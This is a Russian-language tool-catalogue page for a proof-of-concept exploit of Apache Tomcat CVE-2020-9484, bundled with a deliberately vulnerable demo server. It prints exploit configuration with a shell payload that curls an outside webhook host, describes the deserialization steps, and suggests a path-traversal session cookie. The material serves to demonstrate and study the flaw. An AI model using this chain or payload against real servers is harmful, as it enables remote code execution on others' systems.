Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
PoC_CVE-2020-9484 — PoC-эксплойт для CVE-2020-9484 и уязвимое веб-приложение для его демонстрации | Kitploit
Инструменты/GitHubGitHub/savsch/poc_cve-2020-9484
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и ОбразованиеРазработка Полезной Нагрузки
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

PoC-эксплойт для CVE-2020-9484 и уязвимое веб-приложение для его демонстрации

Репозиторий
11 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Этот репозиторий содержит доказательство концепции эксплуатации уязвимости CVE-2020-9484, а также пример веб-сервера, уязвимого к данной атаке.


Предварительные условия для эксплуатации уязвимости

Затронутые версии Tomcat:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. Включён PersistentManager, использующий FileStore.
  2. Атакующий может загрузить файл с произвольным содержимым, контролирует расширение имени файла (в частности, файлы .session) и знает расположение, куда файл загружается.
  3. В classpath присутствуют гаджеты (например, clojure или commons-collections), которые можно использовать для атаки на десериализацию Java.

Пример уязвимого сервиса

Пример сервиса — веб-сервер с двумя страницами: /index.jsp (или просто /) и /list.jsp. Он позволяет пользователю загружать и скачивать файлы (привязанные к текущей сессии), фактически выступая в роли файлового хранилища.

  • Он поддерживает POST-запросы к /upload с загрузкой файлов и позволяет пользователю выбирать имя файла. Это даёт возможность загружать файлы с расширением .session. Также известно, что сервер сохраняет файлы в каталоге /var/tmp/uploads.
  • У него включён PersistentManager, использующий FileStore (см. context.xml).
  • В classpath присутствует clojure:1.8.0, что упрощает атаку на десериализацию (см. pom.xml).

Эксплойт

Чтобы запустить пример уязвимого сервиса:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

После этого сервис должен быть доступен по адресу http://localhost:8085/POC_CVE-2020-9484/.

Теперь настройте конфигурационные переменные в начале файла exploit.py. Переменная PAYLOAD (здесь shell-скрипт) может быть любым файлом, который может быть выполнен сервером.

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # конечная точка загрузки файлов уязвимого сервиса
FILE_UPLOAD_FORM_FIELD =  'file'  # как указано в HTML-форме страницы загрузки
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # каталог, в который уязвимый сервис сохраняет загруженные файлы на своём сервере
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # путь к исполняемому файлу java, предпочтительна Java 11; yoserial не поддерживает более новые версии
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # нагрузка для проверки успешности RCE-атаки.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # эта зависимость должна присутствовать на уязвимом сервере; подробнее см. https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

Теперь запустите exploit.py. Он выполняет следующие действия:

  1. Скачивает yoserial.
  2. Использует yoserial для генерации вредоносных сериализованных объектов (в виде файлов .session), которые впоследствии будут десериализованы на сервере:
    • chmodPayload.session — для установки прав на выполнение файла PAYLOAD, загруженного на сервер.
    • executePayload.session — для выполнения файла PAYLOAD на сервере.
  3. Загружает PAYLOAD как файл на сервер.
  4. Загружает сгенерированные выше файлы .session на сервер.
  5. Отправляет запрос на сервер с cookie JSESSIONID, в котором указан путь к ранее загруженным файлам .session относительно хранилища сессий сервера, что приводит к их десериализации и последующему выполнению полезной нагрузки.

Примечания

  • Многие серверы хранят загруженные пользователем файлы по пути вида /path/to/uploads/base/directory/<значение cookie JSESSIONID>/uploads/filename. В таком случае использование JSESSIONID вида ../../../../tmp (вместо произвольного значения, например "1337"*8, как в exploit.py выше) в POST-запросе на загрузку файла может помочь определить, где на сервере сохраняется загруженный файл.
Скачать инструмент